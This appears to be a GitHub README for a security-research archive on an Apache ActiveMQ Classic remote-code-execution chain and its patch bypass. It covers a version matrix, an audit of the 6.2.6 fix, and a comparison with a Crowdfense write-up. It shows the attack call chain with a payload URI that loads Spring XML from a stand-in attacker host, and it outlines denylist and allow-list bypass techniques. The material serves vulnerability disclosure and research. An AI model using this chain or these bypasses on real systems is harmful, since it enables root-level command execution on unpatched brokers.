dinosn/apache-activemq-rce-research

GitHub: dinosn/apache-activemq-rce-research

针对 Apache ActiveMQ Classic RCE 漏洞链(CVE-2026-34197/42588)的深度安全研究存档,包含 PoC、版本矩阵、补丁绕过分析及 6.2.6 加固版审计。

Stars: 5 | Forks: 1

# Apache ActiveMQ Classic — RCE 研究 这是针对 **Apache ActiveMQ Classic** Jolokia → `addNetworkConnector` → xbean/Spring-XML 远程代码执行链(**CVE-2026-34197** 及其补丁绕过 **CVE-2026-42588**)的私人研究存档,此外还包含对已修复的 **6.2.6** 版本的全面自动化研究审计,以及与 Crowdfense 公开的绕过文章的并排对比。 ## 目录 | 目录 | 阶段 | 包含内容 | |-----|-------|---------------| | [`00-comparison-vs-crowdfense.md`](00-comparison-vs-crowdfense.md) | 对比 | 我们的工作与 Crowdfense 的“ActiveMQ RCE Bypass”文章对比,在 文件:行 处进行了源码验证 | | [`01-original-cve-2026-34197/`](01-original-cve-2026-34197/) | 初始复现 | 分析 + PoC 脚本 + Spring-XML payload(实验环境:`activemq-classic:5.18.6`) | | [`02-reaudit-apr30/`](02-reaudit-apr30/) | 版本矩阵 | 在 5.18.3 / 5.18.6 / 6.1.4 / 6.1.7 上获取 `uid=0`;评估 + PoC + `version-matrix.sh` | | [`03-reaudit-42588-42253/`](03-reaudit-42588-42253/) | 实时绕过 | 无括号复合绕过 (42588) + MessageServlet XSS (42253),实时复现 | | [`04-audit-6.2.6/`](04-audit-6.2.6/) | 全面审计 | 对加固后的 6.2.6 的自动化研究审计:最终报告 + 发现记录表 | 实验中使用的上游 vendor 源码树和二进制分发版被刻意**排除**(它们属于上游资产,非我们所有)。 ## 一句话概述漏洞 经过认证的(在 6.0.0–6.1.1 版本上通过 CVE-2024-32114 可未授权访问)Jolokia 调用者调用 `BrokerView.addNetworkConnector(uri)`,传入一个精心构造的 discovery URI,其内部的 `vm://…?brokerConfig=xbean:` 强制 broker 加载攻击者控制的 Spring XML,这会在 broker 校验**之前**就急切地实例化一个 `ProcessBuilder` bean → 导致 OS 命令执行。 ``` POST /api/jolokia/ → BrokerView.addNetworkConnector(String) → static:(vm://evil?brokerConfig=xbean:http://ATTACKER/evil.xml) → VMTransportFactory dynamic broker creation → XBeanBrokerFactory → ResourceXmlApplicationContext loads Spring XML → ProcessBuilder bean → RCE ``` ## 研究发现 **核心重点:** 三个发现已被**实时验证**可导致 root/XSS;6.2.6 审计增加了一系列更广泛的发现,这些发现**经过了源码验证和对抗性判断,但尚未进行实时引爆**。6.2.6 的额外发现中没有任何一个是新的*未授权* RCE —— vendor 已经关闭了这些大门;残余风险转移到了授权和输出编码上。 ### 已证实的利用链 | ID | 发现 | 类别 | 严重性 | 认证 | 证明 | |----|---------|-------|----------|------|-------| | **CVE-2026-34197** | Jolokia `addNetworkConnector` → xbean Spring-XML RCE | RCE | 严重 | 后认证(6.0.0–6.1.1 无需认证) | **实时 — `uid=0`** 在 5.18.3 / 5.18.6 / 6.1.4 / 6.1.7 上 | | **CVE-2026-42588** | 34197 denylist 的无括号复合 URI 绕过 | RCE(补丁绕过) | 严重 | 后认证 | **实时 — `uid=0`** 在已修复 34197 的 5.19.6 + 6.2.0 上 | | **CVE-2026-42253** | `MessageServlet` header injection → 存储型 XSS | Injection / XSS | 中危 | 后认证 | **实时** 在 6.2.0 上 | ### 来自 6.2.6 审计的全新发现(源码验证) | ID | 发现 | 类别 | 严重性 | 认证 | 备注 | |----|---------|-------|----------|------|-------| | **C1** | `static:` **denylist 缺口 → SSRF** — `DENIED_TRANSPORT_SCHEMES` 中缺少 `static`;`addNetworkConnector("static:(tcp://…)")` → 出站 broker TCP | SSRF | 中危 | Admin / JMX | Sink 变体**越过了文章中提到的同一个 34197/42588 denylist** | | **B1** | 持久订阅**跨 clientId 删除 IDOR** — `removeSubscription` 以传输层提供的 `clientId` 为键,并且在 `AuthorizationBroker` 中未加限制 | 授权破坏 / IDOR | 中危 | 后认证(如果 broker 关闭了认证则为前置认证) | 最干净的全新发现 | | **B3** | LDAP **空密码 → 匿名绑定**(`LDAPLoginModule`,没有非空校验) | 认证绕过 | 中危(视条件而定) | 前置认证 | 取决于目录是否接受匿名绑定 | | **A1–A7** | Console **输出编码注入家族** — 攻击者可控的 `MessageId.textView`(OpenWire v10+ & AMQP)在约 7 个 JSP/REST sink 中未转义 + `FileSystemBlobStrategy` 路径穿越 | Injection | 低–中危 | Producer → admin | 默认情况下受 CSP 限制为 HTML/内容注入 | | **B2** | Shiro `WildcardPermission` **冒号注入导致动作提权** | 提权 | 低–中危 | 后认证 | Shiro 非默认配置 | | **B4** | Temp-destination 授权** fail-open(失败开放)** 与非 temp 的 fail-closed(失败关闭)不对称 | 授权破坏 | 低危 | 后认证 | 设计如此 (AMQ-4721);需安全加固 | | **B5** | 当插件在授权之前被排序时,`StatisticsBroker` `replyTo` **跳过 write-ACL** | 授权破坏 | 低危 | 后认证 | 依赖于配置顺序 | | **B6** | Cert-login **非规范 DN**(`getSubjectDN().getName()`)→ 同一 CA 证书间的身份冲突 | 认证 | 低危 | 前置认证(已验证 TLS) | "任何自签名证书"**不**起作用 | | **B7** | 当 `populateJMSXUserID=false`(默认值)时 `JMSXUserID` **欺骗** | 欺骗 | 低危 | 后认证 | — | | **F5** | STOMP 出站 header **名称**从未被转义 → 针对同一租户订阅者的帧注入 | Injection | 低危 | 跨协议 | STOMP 已启用 | ### 超出范围 — DoS(已分类,非核心重点) MQTT `QoS` 序数 AIOOBE(`QoS.values()[ordinal]`,跨协议,无需配置) · `OpenWireFormat.DEFAULT_MAX_FRAME_SIZE = Long.MAX_VALUE` · OpenWire unmarshal 中带符号 `short` 导致的 `NegativeArraySizeException` · 负值 `AMQ_SCHEDULED_REPEAT` 导致的永久任务。 ## 与 Crowdfense 文章的对比 Crowdfense 的 [*Apache ActiveMQ RCE Bypass*](https://www.crowdfense.com/apache-activemq-rce-bypass/) 涵盖了**相同的利用链**(他们将其归档在 CVE-2026-34197 下;我们将该绕过单独追踪为 CVE-2026-42588)。双方都归结于三层防御;唯一的分歧在于**第 2 层**。 | 层级 | 防御手段 | Crowdfense 的突破方式 | 我们的突破方式 | |-------|---------|--------------------------|-------------------| | 1 | Scheme **denylist**(34197 修复) | 无括号复合 `static:vm://…` | **相同 — 独立发现** ✅ | | 2 | xbean `{file,classpath}` **allow-list**(#1910) | 百分号编码的 `file:%2f%2f…` → Windows **UNC → WebDAV** → 远程 HTTP 获取 | **本地文件** `xbean:/tmp/evil.xml`(需要本地写入权限) | | 3 | `VMTransportFactory` **scheme gate**(`broker,properties`,42588 / 6.2.6 修复) | 承认其为主要拦截点 | **相同结论** ✅ | **唯一的差距:** 他们的第 2 层百分号编码 + UNC/WebDAV 技巧实现了*完全远程*投递,无需本地写入原语。它所利用的分类器缺陷(`activemq-spring/Utils.java:123-129`,对未解码的字符串进行原始的 `startsWith("file://")` 匹配)**同样存在于我们的精确源码中** —— 但远程利用的另一半是**仅限 Windows 的**(Linux 会将 `//host/share` 视为本地路径),而我们的实验室环境是 Linux,因此在那里无法实施。**无论如何它在 6.2.6 上已经失效了**(`VMTransportFactory` scheme gate 会在 `Utils` 运行前拒绝 `xbean`)。 **后续跟进:** 一个 **Windows 托管的** 5.19.6(或任何 5.19.7/6.2.6 之前的构建版本)+ SMB/WebDAV 监听器将允许我们演示完全远程的 allow-list 绕过 —— 这是该文章拥有而我们的测试任务尚未展示的唯一能力。 ## 修复(ActiveMQ 6.2.6) 三个 commit 关闭了该利用链:`c1b44af11`(在没有括号的情况下验证复合 URI —— 无条件执行 `parseComposite` 并进行递归),`c2fc7a1d6`(通过 `VMTransportFactory` scheme allow-list 默认阻止 `XBeanBrokerFactory`),以及 `be8415f24`(示例配置加固:将 Jolokia 限制在 loopback,并使用 `addNetworkConnector` 设置操作 deny-list)。
标签:Apache ActiveMQ, Cutter, JS文件枚举, PoC, XXE攻击, 情报收集, 暴力破解, 漏洞研究, 编程工具, 远程代码执行